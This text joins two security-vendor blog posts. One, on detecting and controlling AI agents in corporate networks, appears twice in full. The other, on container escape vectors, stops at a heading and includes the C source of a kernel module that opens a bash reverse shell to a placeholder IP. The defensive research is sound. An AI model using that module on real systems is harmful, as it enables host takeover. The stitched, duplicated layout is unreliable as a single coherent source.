Introduction

AI agents and associated tooling are becoming increasingly common in corporate infrastructure. Agents can perform a range of actions with the user’s privileges, such as accessing data, running commands, and interacting with external services. This creates new security risks, especially when these tools are used without the security team’s oversight or well-designed policies.

Detecting, tracking, and controlling AI agents is becoming one of the most pressing tasks for security teams today. We closely follow technological developments and continuously update our solutions to respond to new threats in a timely manner amid a rapidly changing technology landscape. This post describes new expertise built into Kaspersky products that helps counter the threats posed by the proliferation of AI agents. We approach this problem from several angles.

First, you need to thoroughly understand the threat you are dealing with. To this end, we added profiles to the Kaspersky Threat Intelligence Portal that describe various AI agents and how attackers exploit them. At their core, AI agents are programs (processes) that run in the operating system on endpoints and can also launch other processes. This means that Endpoint Detection and Response solutions are among the key endpoint controls for this threat. These solutions detect the presence and launch of AI agents, track their activity, and identify potentially dangerous behavior. When needed, they also take action, such as stopping a suspicious process, blocking the activity, or isolating the host, to reduce the likelihood of an incident escalating. For this purpose, we developed specially adapted detection rules.

You can use Kaspersky Endpoint Security, now also available as Kaspersky Next, to control and restrict the launch of AI agents. This solution uses two components to detect AI agents and control how they are used. Application Control categorizes the application processes launched on endpoints, and Web Control manages access to specific categories of web resources for users on endpoints.

Finally, even harmless AI agents can contain malicious instructions (skills), such as those downloaded from unsafe external sources. Kaspersky Scan Engine analyzes installed applications to detect these threats and also checks LLM files for malicious code. Let’s take a closer look at these solutions and technologies.

Popular AI applications and services in organizations

Tools from Anthropic and OpenAI take the top spots in the September 2026 ranking of AI agents by popularity among Kaspersky users. This list is based on telemetry from Kaspersky solutions. It shows the number of users who had the relevant AI vendors’ products installed at the time of the study.

#	AI product
1	Claude
2	Claude Code
3	Codex
4	OpenCode
5	Zed
6	Wispr Flow
7	LM Studio
8	ZCode
9	Chatbox
10	Cherry Studio

The data shows that agentic systems, especially AI agents for software development, are the most popular AI applications. The TOP 10 also includes an application for running large language models locally (LM Studio) and a voice note-taking app (Wispr Flow).

According to open sources, these are the most widely used AI services in 2026:

#	AI service
1	ChatGPT
2	Google Gemini
3	Claude
4	Grammarly
5	DeepSeek

While analyzing the most popular and widely used apps, our experts also noticed a sharp rise in vulnerable versions of AI-related software and services. From 2025 to date, more than 2500 vulnerabilities have been published:

Number of published vulnerabilities in LLMs, AI tools, and plugins with similar functionality, 2025–2026 (download)

* Data for previous quarters was updated and may differ slightly from previously published data.

Application Control and Web Control

To enforce the organization’s security policy for AI agents and other AI applications on the corporate network, Kaspersky products offer application control based on KL categories. These categories classify installed software and give you granular control over which approved applications can run in the organization.

Application Control analyzes the processes launched on endpoints, tracking which AI agents are running in corporate systems at any given moment, on which hosts, and under which accounts. Application Control also shows how long a given program has been in use.

This makes it easier for the Kaspersky Security Center (KSC) administrator to control applications. Administrators can use KL categories to allow or block AI agents inside the company for specific groups of employees.

Here is what this functionality looks like to KSC administrators:

For details on how to configure Application Control in KSC, follow this link.

In Kaspersky Endpoint Security (KES), Application Control can operate in two modes:

• Denylist. In this mode, Application Control lets users run any applications except those blocked by Application Control rules. This is the default mode.
• Allowlist. In this mode, Application Control blocks users from running any applications except those explicitly allowed by Application Control rules.

Below are the steps to configure Application Control to block AI tools.

Configuring Application Control for the AI Tools category in KES

With this setup, when a user tries to launch an AI agent, they get a notification and the agent doesn’t start.

For more on how to configure Application Control in KES, follow this link. Our public portal also lets you explore information on KL categories and the applications that fall under them, in particular details on how AI agents are categorized and how popular they are.

The View applications drop-down list shows products for a specific vendor.

Similarly, Web Control lets you manage user access to web resources. If a user tries to open a denylisted website, KES blocks access and shows a warning.

When configuring access, the administrator can block websites that provide AI as a service.

For more on configuring Web Control, follow this link. The help portal also provides information on website categories that can be assigned to resources to configure access control.

Kaspersky Endpoint Detection and Response

To an EDR solution, an AI agent is a regular process. It has its own executable, a tree of child processes, and network communications, all of which need to be monitored for suspicious activity. An attacker can use an AI agent as an automation tool. An AI agent installed as a legitimate user tool can also be leveraged in a ClickFix attack, where it executes a malicious instruction received from an untrusted source, such as a document, web page, or email. That said, unsafe actions by an agent do not always indicate an attack. There may be no malicious intent in the chain at all. An incident can result from what looks like an ordinary instruction from a user who doesn’t fully understand the consequences of having it executed. The mere fact that an agent was launched does not reveal whether it is being used in an attack. That is why Kaspersky EDR (KEDR) uses both conventional behavioral rules and rules written and adapted to detect AI tools. The latter identify risky agent actions and settings, and help determine which AI tool was involved in suspicious activity.

Conventional KEDR rules detect the vast majority of familiar malicious techniques, including when performed by an AI agent. A suspicious PowerShell launch, persistence via Task Scheduler, or an attempt to steal credentials leaves clear, identifiable traces. These traces look the same no matter what initiated the actions. The rules analyze launch parameters, process relationships, affected files, network activity, and other telemetry events.

For example, in a recent Armored Likho campaign, we found signs that AI had been used to create loader and dropper samples, which were later compiled with NSIS (Nullsoft Scriptable Install System). The key telltale artifacts were icons in the scripts and excessive comments on every function, which is uncharacteristic of human-written code. In addition, the group continues to generate new modules for its BusySnake Stealer and BusySnake RAT samples. For example, the attackers used AI to develop a module that runs multiple checks for virtual environment artifacts and calculates a score. Depending on the score, the sample either runs or exits with code 0. Even though the initial access samples, payloads, and their modules were AI-generated, the commands they execute via rundll32 and PowerShell are detected by the shell_creation_by_rundll32 and suspicious_powershell_cmd_or_script_spawning rules.

So, for detecting an attack like this, it is not important who wrote the loader, the payload, or its modules: they are given away by the commands they execute, process relationships, and other traces of activity in the system. AI can be involved both in preparing the code and in carrying out the attack directly on the device.

In the latter case, the attacker uses the agent to carry out their tasks and lets it choose and run the required commands within the privileges it has. For effective protection, it is critical to link suspicious actions back to the AI tool and the conditions under which it operates. In KEDR, several specialized rules handle this task.

We have created separate rules for popular AI agents, ai_agent_*_access_to_sensitive_file_**, where * is the tool name and ** is the operating system. They generate alerts when an agent accesses files that contain credentials, tokens, or keys.

The ai_agent_dangerous_execution_mode rule detects agents launched with auto-approval of all actions (so-called YOLO mode) or with the sandbox disabled. These settings do not indicate an attack on their own, but they let the agent perform dangerous actions without user confirmation.

The suspicious_mcp_server_artifact rule triggers when MCP server scripts are created or modified in hidden, temporary, or cache directories. Attackers can place an MCP server in these locations to quietly connect it to the agent: through the MCP server, they can pass instructions to the agent, call third-party tools, and access the user’s data.

The llm_api_access_by_unusual_apps rule generates an alert when an application on Windows, Linux, or macOS connects to the API of a known external LLM service, unless this activity falls under predefined exclusions. This helps spot model access by applications that do not normally behave this way.

Some Kaspersky EDR rules tag events for investigation but do not generate alerts. For example, the ai_agent_**_execution rules flag launches of known agents on Windows, Linux, and macOS. The local_ai_model_artifact rule records the creation or modification of AI model files in typical application, runtime, and cache directories. These events reveal AI tools on the device, including tools that run on local models and never call an external API.

Kaspersky Threat Intelligence Portal

AI agent profiles

The Kaspersky Threat Intelligence Portal offers a large number of software profiles, including profiles of AI agents. You can sort them by the ai_ prefix:

The profile of an AI agent such as Claude Desktop includes a detailed description of the software, the privilege level required to run it, supported platforms, and threat actor groups known to use it. It also lists tactics and techniques mapped to the MITRE ATT&CK framework, with descriptions of the procedures the tool can be used for.

The description also lists ways to detect the software through standard system auditing mechanisms:

• Windows: events from standard audit logs and Sysmon events
• Linux: syscall audit events and Sysmon events
• Network auditing: a set of protocols and the traffic generated by the software

The detection section lists the main artifacts the software leaves in the system: command lines, possible launch parameters, names of the services and scheduled tasks it creates, and the key network artifacts.

Hunt Hub

In December 2025, the Kaspersky Threat Intelligence Portal added Hunt Hub (HH), a repository of detection rules. This is a unique Kaspersky project, and we developed it in response to growing market demand.

This functionality is available in the Threat Landscape section of the portal. It gives analysts access to detection rules: their descriptions and their mapping to MITRE ATT&CK tactics and techniques, as well as to the associated cybercriminal groups.

In the Hunt Hub section, customers can explore the detection logic of EDR, NDR, and NGFW products, including the logic for detecting AI agents.

The rule card provides:

• Detailed description
• Rule’s severity level, confidence level, and alert format
• Detection tips
• Description of possible false positives
• Platforms the rule can run on
• Tactics, techniques, and sub-techniques covered by the rule
• Groups that use the technique covered by the rule
• Detection logic that shows what exactly triggers the rule

Kaspersky Scan Engine

Skills are a key component of the AI agent ecosystem. They’re prewritten sets of natural-language instructions that extend agent functionality. We previously covered the risks that malicious skills pose to agent users. A skill can require the usage of additional programs and services, come with helper scripts (for example, written in Python), or contain a malicious command embedded right in the instruction text. This means that adding skills to an originally harmless AI agent opens up several new ways for malicious code to enter the system. To prevent this, any skills obtained from external sources must be scanned. Kaspersky Scan Engine is well suited for this task. This is a cyberthreat detection and response solution that seamlessly integrates with various applications. It can detect malicious code in agent skills, associated scripts, and in files generated by running agents.

Trained LLMs come in many formats. Some of them (PTH, PT, PKL, KERS, and others) also store parameters and weights (training datasets). These files can also contain malicious code, so it’s critical to scan them before running and using them. Kaspersky Scan Engine scans potentially dangerous LLM formats for infected data. It can deserialize and analyze models to detect malicious code regardless of model size.

Conclusion

AI agents are rapidly making their way into corporate environments: they help employees work faster and take on a wide range of tasks, but they also open up new opportunities for attackers. To take advantage of this technology without compromising security, organizations need to build multi-layered protection and minimize risks. A range of Kaspersky solutions can help with this:

• Kaspersky TIP keeps you up to date on current scenarios in which attackers use AI agents, and its Hunt Hub section provides rules for detecting suspicious AI agent activity.
• Kaspersky EDR detects AI agents in the infrastructure and monitors their activity on endpoints. If it detects potentially dangerous actions, the product can log the event, notify the SOC, and take response actions, such as stopping the process or isolating the host.
• Application Control in Kaspersky products can fully restrict the use of AI agents within the company by using application categorization. The Web Control component can restrict access to AIaaS web resources.
• Kaspersky Scan Engine can be integrated into various company processes to detect malicious code in any files, including AI agent skills and LLMs.

When companies combine the tools described above in a comprehensive approach, they can adopt AI agents in an informed way: with an understanding of the associated risks and effective means of minimizing them.

Introduction

AI agents and associated tooling are becoming increasingly common in corporate infrastructure. Agents can perform a range of actions with the user’s privileges, such as accessing data, running commands, and interacting with external services. This creates new security risks, especially when these tools are used without the security team’s oversight or well-designed policies.

Detecting, tracking, and controlling AI agents is becoming one of the most pressing tasks for security teams today. We closely follow technological developments and continuously update our solutions to respond to new threats in a timely manner amid a rapidly changing technology landscape. This post describes new expertise built into Kaspersky products that helps counter the threats posed by the proliferation of AI agents. We approach this problem from several angles.

First, you need to thoroughly understand the threat you are dealing with. To this end, we added profiles to the Kaspersky Threat Intelligence Portal that describe various AI agents and how attackers exploit them. At their core, AI agents are programs (processes) that run in the operating system on endpoints and can also launch other processes. This means that Endpoint Detection and Response solutions are among the key endpoint controls for this threat. These solutions detect the presence and launch of AI agents, track their activity, and identify potentially dangerous behavior. When needed, they also take action, such as stopping a suspicious process, blocking the activity, or isolating the host, to reduce the likelihood of an incident escalating. For this purpose, we developed specially adapted detection rules.

You can use Kaspersky Endpoint Security, now also available as Kaspersky Next, to control and restrict the launch of AI agents. This solution uses two components to detect AI agents and control how they are used. Application Control categorizes the application processes launched on endpoints, and Web Control manages access to specific categories of web resources for users on endpoints.

Finally, even harmless AI agents can contain malicious instructions (skills), such as those downloaded from unsafe external sources. Kaspersky Scan Engine analyzes installed applications to detect these threats and also checks LLM files for malicious code. Let’s take a closer look at these solutions and technologies.

Popular AI applications and services in organizations

Tools from Anthropic and OpenAI take the top spots in the September 2026 ranking of AI agents by popularity among Kaspersky users. This list is based on telemetry from Kaspersky solutions. It shows the number of users who had the relevant AI vendors’ products installed at the time of the study.

#	AI product
1	Claude
2	Claude Code
3	Codex
4	OpenCode
5	Zed
6	Wispr Flow
7	LM Studio
8	ZCode
9	Chatbox
10	Cherry Studio

The data shows that agentic systems, especially AI agents for software development, are the most popular AI applications. The TOP 10 also includes an application for running large language models locally (LM Studio) and a voice note-taking app (Wispr Flow).

According to open sources, these are the most widely used AI services in 2026:

#	AI service
1	ChatGPT
2	Google Gemini
3	Claude
4	Grammarly
5	DeepSeek

While analyzing the most popular and widely used apps, our experts also noticed a sharp rise in vulnerable versions of AI-related software and services. From 2025 to date, more than 2500 vulnerabilities have been published:

Number of published vulnerabilities in LLMs, AI tools, and plugins with similar functionality, 2025–2026 (download)

* Data for previous quarters was updated and may differ slightly from previously published data.

Application Control and Web Control

To enforce the organization’s security policy for AI agents and other AI applications on the corporate network, Kaspersky products offer application control based on KL categories. These categories classify installed software and give you granular control over which approved applications can run in the organization.

Application Control analyzes the processes launched on endpoints, tracking which AI agents are running in corporate systems at any given moment, on which hosts, and under which accounts. Application Control also shows how long a given program has been in use.

This makes it easier for the Kaspersky Security Center (KSC) administrator to control applications. Administrators can use KL categories to allow or block AI agents inside the company for specific groups of employees.

Here is what this functionality looks like to KSC administrators:

For details on how to configure Application Control in KSC, follow this link.

In Kaspersky Endpoint Security (KES), Application Control can operate in two modes:

• Denylist. In this mode, Application Control lets users run any applications except those blocked by Application Control rules. This is the default mode.
• Allowlist. In this mode, Application Control blocks users from running any applications except those explicitly allowed by Application Control rules.

Below are the steps to configure Application Control to block AI tools.

Configuring Application Control for the AI Tools category in KES

With this setup, when a user tries to launch an AI agent, they get a notification and the agent doesn’t start.

For more on how to configure Application Control in KES, follow this link. Our public portal also lets you explore information on KL categories and the applications that fall under them, in particular details on how AI agents are categorized and how popular they are.

The View applications drop-down list shows products for a specific vendor.

Similarly, Web Control lets you manage user access to web resources. If a user tries to open a denylisted website, KES blocks access and shows a warning.

When configuring access, the administrator can block websites that provide AI as a service.

For more on configuring Web Control, follow this link. The help portal also provides information on website categories that can be assigned to resources to configure access control.

Kaspersky Endpoint Detection and Response

To an EDR solution, an AI agent is a regular process. It has its own executable, a tree of child processes, and network communications, all of which need to be monitored for suspicious activity. An attacker can use an AI agent as an automation tool. An AI agent installed as a legitimate user tool can also be leveraged in a ClickFix attack, where it executes a malicious instruction received from an untrusted source, such as a document, web page, or email. That said, unsafe actions by an agent do not always indicate an attack. There may be no malicious intent in the chain at all. An incident can result from what looks like an ordinary instruction from a user who doesn’t fully understand the consequences of having it executed. The mere fact that an agent was launched does not reveal whether it is being used in an attack. That is why Kaspersky EDR (KEDR) uses both conventional behavioral rules and rules written and adapted to detect AI tools. The latter identify risky agent actions and settings, and help determine which AI tool was involved in suspicious activity.

Conventional KEDR rules detect the vast majority of familiar malicious techniques, including when performed by an AI agent. A suspicious PowerShell launch, persistence via Task Scheduler, or an attempt to steal credentials leaves clear, identifiable traces. These traces look the same no matter what initiated the actions. The rules analyze launch parameters, process relationships, affected files, network activity, and other telemetry events.

For example, in a recent Armored Likho campaign, we found signs that AI had been used to create loader and dropper samples, which were later compiled with NSIS (Nullsoft Scriptable Install System). The key telltale artifacts were icons in the scripts and excessive comments on every function, which is uncharacteristic of human-written code. In addition, the group continues to generate new modules for its BusySnake Stealer and BusySnake RAT samples. For example, the attackers used AI to develop a module that runs multiple checks for virtual environment artifacts and calculates a score. Depending on the score, the sample either runs or exits with code 0. Even though the initial access samples, payloads, and their modules were AI-generated, the commands they execute via rundll32 and PowerShell are detected by the shell_creation_by_rundll32 and suspicious_powershell_cmd_or_script_spawning rules.

So, for detecting an attack like this, it is not important who wrote the loader, the payload, or its modules: they are given away by the commands they execute, process relationships, and other traces of activity in the system. AI can be involved both in preparing the code and in carrying out the attack directly on the device.

In the latter case, the attacker uses the agent to carry out their tasks and lets it choose and run the required commands within the privileges it has. For effective protection, it is critical to link suspicious actions back to the AI tool and the conditions under which it operates. In KEDR, several specialized rules handle this task.

We have created separate rules for popular AI agents, ai_agent_*_access_to_sensitive_file_**, where * is the tool name and ** is the operating system. They generate alerts when an agent accesses files that contain credentials, tokens, or keys.

The ai_agent_dangerous_execution_mode rule detects agents launched with auto-approval of all actions (so-called YOLO mode) or with the sandbox disabled. These settings do not indicate an attack on their own, but they let the agent perform dangerous actions without user confirmation.

The suspicious_mcp_server_artifact rule triggers when MCP server scripts are created or modified in hidden, temporary, or cache directories. Attackers can place an MCP server in these locations to quietly connect it to the agent: through the MCP server, they can pass instructions to the agent, call third-party tools, and access the user’s data.

The llm_api_access_by_unusual_apps rule generates an alert when an application on Windows, Linux, or macOS connects to the API of a known external LLM service, unless this activity falls under predefined exclusions. This helps spot model access by applications that do not normally behave this way.

Some Kaspersky EDR rules tag events for investigation but do not generate alerts. For example, the ai_agent_**_execution rules flag launches of known agents on Windows, Linux, and macOS. The local_ai_model_artifact rule records the creation or modification of AI model files in typical application, runtime, and cache directories. These events reveal AI tools on the device, including tools that run on local models and never call an external API.

Kaspersky Threat Intelligence Portal

AI agent profiles

The Kaspersky Threat Intelligence Portal offers a large number of software profiles, including profiles of AI agents. You can sort them by the ai_ prefix:

The profile of an AI agent such as Claude Desktop includes a detailed description of the software, the privilege level required to run it, supported platforms, and threat actor groups known to use it. It also lists tactics and techniques mapped to the MITRE ATT&CK framework, with descriptions of the procedures the tool can be used for.

The description also lists ways to detect the software through standard system auditing mechanisms:

• Windows: events from standard audit logs and Sysmon events
• Linux: syscall audit events and Sysmon events
• Network auditing: a set of protocols and the traffic generated by the software

The detection section lists the main artifacts the software leaves in the system: command lines, possible launch parameters, names of the services and scheduled tasks it creates, and the key network artifacts.

Hunt Hub

In December 2025, the Kaspersky Threat Intelligence Portal added Hunt Hub (HH), a repository of detection rules. This is a unique Kaspersky project, and we developed it in response to growing market demand.

This functionality is available in the Threat Landscape section of the portal. It gives analysts access to detection rules: their descriptions and their mapping to MITRE ATT&CK tactics and techniques, as well as to the associated cybercriminal groups.

In the Hunt Hub section, customers can explore the detection logic of EDR, NDR, and NGFW products, including the logic for detecting AI agents.

The rule card provides:

• Detailed description
• Rule’s severity level, confidence level, and alert format
• Detection tips
• Description of possible false positives
• Platforms the rule can run on
• Tactics, techniques, and sub-techniques covered by the rule
• Groups that use the technique covered by the rule
• Detection logic that shows what exactly triggers the rule

Kaspersky Scan Engine

Skills are a key component of the AI agent ecosystem. They’re prewritten sets of natural-language instructions that extend agent functionality. We previously covered the risks that malicious skills pose to agent users. A skill can require the usage of additional programs and services, come with helper scripts (for example, written in Python), or contain a malicious command embedded right in the instruction text. This means that adding skills to an originally harmless AI agent opens up several new ways for malicious code to enter the system. To prevent this, any skills obtained from external sources must be scanned. Kaspersky Scan Engine is well suited for this task. This is a cyberthreat detection and response solution that seamlessly integrates with various applications. It can detect malicious code in agent skills, associated scripts, and in files generated by running agents.

Trained LLMs come in many formats. Some of them (PTH, PT, PKL, KERS, and others) also store parameters and weights (training datasets). These files can also contain malicious code, so it’s critical to scan them before running and using them. Kaspersky Scan Engine scans potentially dangerous LLM formats for infected data. It can deserialize and analyze models to detect malicious code regardless of model size.

Conclusion

AI agents are rapidly making their way into corporate environments: they help employees work faster and take on a wide range of tasks, but they also open up new opportunities for attackers. To take advantage of this technology without compromising security, organizations need to build multi-layered protection and minimize risks. A range of Kaspersky solutions can help with this:

• Kaspersky TIP keeps you up to date on current scenarios in which attackers use AI agents, and its Hunt Hub section provides rules for detecting suspicious AI agent activity.
• Kaspersky EDR detects AI agents in the infrastructure and monitors their activity on endpoints. If it detects potentially dangerous actions, the product can log the event, notify the SOC, and take response actions, such as stopping the process or isolating the host.
• Application Control in Kaspersky products can fully restrict the use of AI agents within the company by using application categorization. The Web Control component can restrict access to AIaaS web resources.
• Kaspersky Scan Engine can be integrated into various company processes to detect malicious code in any files, including AI agent skills and LLMs.

When companies combine the tools described above in a comprehensive approach, they can adopt AI agents in an informed way: with an understanding of the associated risks and effective means of minimizing them.

Introduction

Modern infrastructures universally rely on containerization to deploy applications, scale services, and build cloud platforms. The use of Docker, Kubernetes, and similar technologies has become the corporate standard for efficient automation. However, as containers grow in popularity, so does the interest of malicious actors — a trend we actively track in our research into advanced cyberthreats. For instance, in one of its recent attacks, the APT group TeamPCP compromised Checkmarx KICS across multiple attack chains for different vectors. This included poisoning a Docker Hub repository to later steal Kubernetes secrets and other sensitive data. The tainted images distributed a stealer that was loaded during the KICS scanning process.

Today, attacks on container environments have evolved into full-fledged, multi-stage scenarios involving supply chain compromises, Kubernetes secrets theft, orchestration API abuse, and container escape attempts. This article examines the primary container attack vectors that retain top relevance today.

Principles of containerization

A container is an isolated code execution environment, designed to partition resources so applications can run correctly and independently. Unlike a virtual machine, a container uses the single underlying kernel of the host operating system.

To isolate the environment, a container uses a distinct process namespace and a virtual file system. Container resources are capped and shared with the host system. This container isolation is built on top of Linux kernel features such as namespaces, cgroups, capabilities, and seccomp.

Compromising a container can help attackers achieve their objectives on the host system itself. Below, we examine the current vectors relevant to container implementation architecture and infrastructure.

Current attack vectors

The primary and most critical attack vectors targeting container environments that are actively exploited by malicious actors include:

• Exploiting vulnerabilities in the host system and container runtime components
• Malicious activity inside a compromised container
• Container escape followed by host compromise
• Exploiting misconfigurations and the insecure use of containerization and orchestration APIs
• Supply chain attacks, including container image poisoning and CI/CD pipeline compromise

Each of these vectors can be utilized either independently or as part of a complex, multi-stage attack chain. In practice, attackers rarely stop at compromising a single container; their primary objective is often to gain access to the Kubernetes cluster, secrets management systems, or other mission-critical environment components. This is why securing container infrastructure requires a comprehensive approach that spans configuration auditing, runtime protection, activity monitoring, and software supply chain security. Let’s take a closer look at each of these vectors.

Exploiting host system vulnerabilities

Because a container does not have its own isolated OS, vulnerabilities affecting the Linux kernel or runtime components remain just as critical when exploited from within a container.

Any vulnerability that allows for privilege escalation, arbitrary code execution, or isolation bypassing can potentially be leveraged by an attacker once the container is compromised. Successful exploitation of these flaws can lead to a container escape, compromise of the Kubernetes node or the entire cluster, lateral movement across the infrastructure, secrets theft, and malicious actions potentially culminating in a complete service disruption. It is worth noting that the mere presence of a vulnerability does not always guarantee a compromise, as exploitation sometimes requires specific configuration settings or privileges to work.

Below are examples of several vulnerabilities leveraged in attacks on container environments:

• CVE-2019-5736 is one of the most prominent and illustrative vulnerabilities associated with containerization. It affected the runC runtime environment and allowed an attacker, who already had root access inside the container, to execute arbitrary code on the host system with root privileges. The root cause of the vulnerability was runC’s improper handling of the file descriptor for its own executable via the /proc/self/exe mechanism. When a container was started, the runC process temporarily executed within the container’s context while remaining a host system process. This allowed an attacker to gain access to the runC binary and overwrite its contents.
• CVE-2022-0492 is a critical Linux kernel vulnerability that allows for container escape and arbitrary command execution on the host system. The flaw stemmed from improper privilege validation when interacting with the cgroups release_agent mechanism. This vulnerability posed a particular risk for container infrastructures because it allowed an attacker who already possessed code execution capabilities inside a container to break out of isolation and gain control of the host system.
• CVE-2024-21626 is a critical vulnerability in runC that allowed an attacker to access the host file system from within a container, and in specific scenarios, even perform a complete container escape. The root cause of the issue was runC’s improper handling of file descriptors and the process’ current working directory when spinning up containers or executing commands via docker exec or similar mechanisms.

Malicious actions inside the container

Sometimes, an attacker does not need to exploit complex attack chains involving container escapes, Kubernetes cluster compromise, or lateral movement to achieve their goals. In many cases, the container itself already houses data and resources that are highly valuable to the attacker. For example, a container may contain:

• User and service credentials
• API keys
• Access tokens
• SSH keys
• Environment variables containing secrets
• Kubernetes ServiceAccount tokens
• Configuration files
• Application service data or databases

These types of data are especially prone to exposure due to configuration mistakes or specific operational processes. For instance, secrets might be passed via environment variables, baked into Docker images during the build phase, or mounted directly inside the container. In Kubernetes environments, automatically mounted ServiceAccount tokens are of particular interest to attackers, as they provide a direct pathway to interact with the Kubernetes API.

Even a single compromised container frequently provides an attacker with sufficient leverage for next steps: gaining access to external services, compromising cloud infrastructure, stealing user data, impersonating a trusted service, or establishing persistence within the environment. Beyond data theft, malicious actors can use a compromised container as a staging ground for further malicious activity. This is why securing container infrastructure is about much more than just preventing escapes. Even a fully isolated container, if it houses sensitive data or holds access to internal services, can become a major foothold for an infrastructure breach.

In the context of this vector, approaches and techniques applicable not only to container environments but also to traditional systems are frequently applied. Once an attacker gains access to a container, they usually find themselves in a full-featured Linux environment, allowing them to deploy standard post-exploitation, reconnaissance, and persistence methods.

We explored container configuration errors and other unsafe practices that attackers could exploit to carry out malicious activities in more detail in this article.

Container escape

Container escape is one of the most dangerous and prevalent attack vectors targeting container infrastructure. The term refers to the bypassing of container isolation, allowing an attacker to directly interact with the host system.

The opportunity to escape a container can arise from a multitude of sources: the exploitation of vulnerabilities, container misconfigurations, or the insecure use of containerization and orchestration APIs. Indeed, container escape is the logical conclusion of most attacks on container infrastructure, as the attacker’s ultimate goal is frequently to break out of the isolated environment and gain access to the host system or the broader Kubernetes cluster. As such, container escape ties together a significant portion of the attack vectors discussed in this article. In practice, misconfigurations remain one of the most common root causes of successful container escapes, as they occur far more frequently than the exploitation of complex vulnerabilities. With that in mind, we will take a closer look at container misconfigurations and their associated attack scenarios below.

To better understand the risks associated with container misconfigurations, let’s explore the concept of capabilities in Linux systems. This is a mechanism for granularly granting extended permissions to processes, allowing them to perform privileged actions without needing full root access.

Privileged containers

One of the most dangerous configurations is running a container with the --privileged flag. In this mode, the container is granted all Linux capabilities, direct access to host devices, and the ability to interact with kernel interfaces. A container configured this way virtually ceases to be an isolated environment and, in many cases, possesses capabilities comparable to root access on the host system.

Let’s look at a basic example of a container escape attack involving the --privileged flag. Using the capsh utility, you can see that such a container possesses virtually all Linux capabilities. Furthermore, if the PID namespace matches the host’s, the process with PID=1 corresponds to init, the first system process in Linux. In a different configuration, PID 1 would belong to the process that created the container. If we spawn a shell from the init process using the nsenter utility, the expected behavior is the creation of a process outside the container, which can easily be verified by using the hostname command.

Container privilege misconfigurations open up a broad attack surface. Let’s dive deeper into how specific capabilities can be used to execute a container escape.

CAP_SYS_ADMIN

CAP_SYS_ADMIN is considered one of the most dangerous Linux capabilities in the context of container security. Although Linux capabilities were originally intended to break down superuser privileges into discrete categories, over time, CAP_SYS_ADMIN became a catch-all for a massive number of sensitive kernel operations. As a result, a container granted this capability gains access to a wide array of system mechanisms that directly impact container isolation. It inherits the ability to mount file systems, interact with the cgroups mechanism responsible for resource allocation, modify kernel parameters within certain limits, work with loop devices, and utilize various namespace management features. In practice, this heavily blurs the line between the container and the host system.

This capability becomes especially dangerous when combined with other configuration errors. For instance, if the container is configured to use the hostPath parameter, an attacker can leverage a container compromise to mount the host system’s directories right into their own environment and access critical host files. Similarly, having access to /proc or /sys allows for direct interaction with internal Linux kernel mechanisms, which can drastically expand the blast radius of the breach.

Let’s look at a clear example of how having CAP_SYS_ADMIN can help an attacker escape a container. Illustrated below is the sequence of actions inside a container possessing CAP_SYS_ADMIN privileges and access to host directories. By mounting the host’s disk to a folder inside the container, the attacker can freely interact with all files on the host system. In this specific example, it shows the ability to overwrite the root user’s shell configuration by injecting an arbitrary malicious payload.

CAP_SYS_MODULE

CAP_SYS_MODULE provides direct access to the kernel module loading and unloading mechanism. This direct interaction with kernel space makes CAP_SYS_MODULE a high-risk capability, unlike many other capabilities that are restricted purely to user space.

From a Linux architectural standpoint, kernel modules consist of code executing with maximum privileges inside kernel space. These modules can extend system functionality, manage devices, handle the network stack, interface with file systems, and control other mission-critical components. This is why the ability to dynamically load these modules via CAP_SYS_MODULE equates to having the power to manipulate the behavior of the entire operating system.

In practice, modern containerized applications rarely require CAP_SYS_MODULE. The presence of this capability is typically tied to legacy architectures, monitoring systems, or specialized drivers that must interact directly with the kernel. This is why CAP_SYS_MODULE is almost universally banned in modern infrastructures. In most environments, it is considered an unacceptable risk because its compromise does not just lead to localized privilege escalation within the container, but to code execution directly in kernel space.

A container escape using this capability happens in several stages. The goal of the attack in this case is to load a malicious Linux kernel module. It is worth noting that the module must match the specific kernel version in use, requiring the attacker to perform additional reconnaissance to identify it. These attacks can be executed entirely within the container if it contains the necessary build tools to compile the module and has access to kernel dependency directories. However, because these utilities are typically stripped from container images, attackers usually compile the malicious payload with the required dependencies on an external host. They then either transfer it over the network or drop it into a binary file on the target by using a command like echo.

Let’s look at a container escape using a kernel module with the following payload example:

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("Test");
MODULE_AUTHOR("Test");
MODULE_DESCRIPTION("reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/<IP>/<Port> 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Upon loading, this module triggers the reverse shell. Once the payload is built and successfully delivered to the container, all the attacker needs to do is start a listener on the IP address and port specified in the payload, and then load the module into kernel space.

CAP_SYS_PTRACE

The CAP_SYS_PTRACE capability grants a process elevated permissions to interact with other system processes via the ptrace system call. While it is designed for debugging and code tracing, its misconfiguration in containerized environments can severely weaken isolation and, under certain conditions, enable a container escape leading to host system compromise.

The primary risk of CAP_SYS_PTRACE is that it allows a process to read and modify the memory of other processes, control their execution, inject code, and extract sensitive data directly from memory. Furthermore, CAP_SYS_PTRACE enables process injection techniques.

If a container is compromised, an attacker can use ptrace to attach to host processes. Crucially, this is only possible if the host’s PID namespace is shared with the container — this is configured via hostPID: true. This configuration allows the attacker to target a process running on the host, inject code, and trigger a reverse shell — though in most cases, this requires additional malicious code. The image below demonstrates this kind of an attack, implemented using a publicly available PoC.

CAP_NET_ADMIN

CAP_NET_ADMIN provides extensive privileges to manage the network stack of a Linux system. If a container is compromised, the presence of this capability significantly weakens network isolation and creates additional opportunities for further exploitation.

A container equipped with CAP_NET_ADMIN can modify network interface configurations, manipulate routing tables, interact with traffic filtering mechanisms, and alter the behavior of the network stack. Although most of these operations are formally restricted to the container’s own network namespace, in practice, this capability is frequently combined with other misconfigurations — such as the hostNetwork: true parameter — which grants direct access to the host’s network resources.

Once inside the container, an attacker can leverage this capability to modify its network behavior and launch further attacks across the infrastructure. One of the most common scenarios involves manipulating iptables rules to redirect traffic. This enables man-in-the-middle (MitM) attacks, allowing the attacker to intercept internal traffic or mask their own malicious activities.

It is important to emphasize that there are many other Linux capabilities that can lead to a container escape when combined with specific misconfigurations; we have highlighted only a few of the most severe and frequently encountered.

Exploitation of orchestration APIs

